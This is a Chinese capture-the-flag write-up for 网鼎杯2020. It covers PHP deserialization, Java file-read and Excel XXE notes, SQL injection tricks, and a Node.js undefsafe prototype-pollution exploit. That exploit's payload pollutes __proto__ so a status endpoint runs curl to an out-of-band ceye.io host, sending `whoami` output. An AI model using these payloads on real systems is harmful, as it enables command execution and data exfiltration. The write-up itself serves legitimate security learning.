网鼎杯2020 部分Writeup

被虚幻拿到MISC卡了很久,只做了一道nodejs题,详细记录一下。同时加上其他题目的笔记

AreUSerialz

  • PHP7的反序列化下可以使用public调用protected和private属性参考
  • 可以将序列化的数据类型从s改成S,php反序列化时会对数据进行解码。如%00 ⇒ \00 参考
  • 读不了Flag

    1. php.ini中设置了include_path

      1
      2
      3
      4
      5
      ; UNIX: "/path1:/path2"
      ;include_path = ".:/php/includes"
      ;
      ; Windows: "\path1;\path2"
      ;include_path = "c:\php\includes"
    2. 查看Apache配置文件(/etc/httpd/conf/httpd.conf)查看默认目录,再默认目录+文件名进行读取

    3. 题目中其他暗示

FileJava

  • Java题目环境可以尝试读取WEB-INF/web.xml获取servlet信息参考

    例如servlet是:cn.abc.servlet.DownloadServlet

    它的相对地址:WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

    反编译后可以得到源码

  • 可以利用EXCEL内的xl/workbook.xml进行XXE(压缩时注意环境问题) 参考

trace

  • 既报错又延迟
1
SELECT 1 and if(1=2,1,pow(9999,100) or sleep(3));
  • 无列名注入
1
2
3
4
5
6
7
8
9
10
// 借助union
SELECT 1,2,3,4 UNION SELECT * FROM userinfo;

// 之后查询单个列
SELECT `3` FROM (SELECT 1,2,3,4 UNION SELECT * FROM userinfo)a;
// 过滤``,使用别名绕过
~~S~~ELECT b FROM (SELECT 1,2,3 AS b,4 UNION SELECT * FROM userinfo)a;

// 查询多个列
SELECT concat(`2`,0x3a,`3`) FROM (SELECT 1,2,3,4 UNION SELECT * FROM userinfo)a LIMIT 1,1;

notes

直接本地运行会报错,没有模板文件。可以把输出的内容直接输出到页面上。修改后的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');

var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function(req, res, next) {
console.log("hello world");
});

// 添加笔记
app.route('/add_note')
.get(function(req, res) {
res.send("please post");
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.send("susccess");
} else {
res.send("fail");
}
})

// 编辑笔记
app.route('/edit_note')
.get(function(req, res) {
res.send("please post");
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
console.log(id, author, enote);
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.send("susccess");
} else {
res.send("fail");
}
})

// 删除笔记
app.route('/delete_note')
.get(function(req, res) {
res.send("please post")
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.send("susccess");
} else {
res.send("fail");
}
})

// 查看所有笔记 传入q
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.send(a_note)
})

// 查看status
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
console.log(commands[index]);
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});

app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});

const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

在源码中可以看到执行命令的语句,但是传入的参数不是直接可控的。很明显要原型链污染到传入执行语句中的变量才行。

出现问题的是undefsafe这个包,在google当中直接搜到了它的原型链污染文章:

https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

https://github.com/remy/undefsafe/commit/f272681b3a50e2c4cbb6a8533795e1453382c822

需要注意的是:我在本地测试拉下来的undefsafe包都没法复现,可以下载一个最新的包然后直接把相关代码删除就可以,参考github上面的commit。

回到题目,源码当中存在问题的是:

1
2
3
4
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

可以在这里传入id为__proto__,然后污染变量。这里存在一个坑,不能直接污染commands。在本地可以执行的payload,放在题目环境中就不行。可以直接污染__proto__,后面遍历commands的时候还是可以遍历的到。原因这里详细记录一下:

在nodejs原型链中,不同对象所生成的原型链如下(部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

题目中可以污染的是this.note_list这个对象,他的原型链是this.note_list ---> Object.prototype ---> null(commands也是一样)。正好就污染了Object的prototype属性(即原型)。

后面在遍历commands的过程中,会把commands的原型所包含的属性也遍历出来。测试例子:

1
2
3
4
5
6
7
note_list = {};
note_list.__proto__.test = "Hello World"; // undefsafe所污染的地方
commands = {"a":1, "b":2};
for (let index in commands) {
console.log(index);
console.log(commands[index]);
}

Untitled.png

于是乎,我们就可以构造payload了:

1
id=__proto__&author=curl%20%22http%3A%2F%2Fxxx.ceye.io%2F%22%2B%60whoami%60&raw=123

在/edit_notes这里post发包:

Untitled 1.png

访问/status之后在拿到flag:

Untitled 2.png

De1ctf 2020 题目复盘 PHP Webshell 免杀的一些思考与总结
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×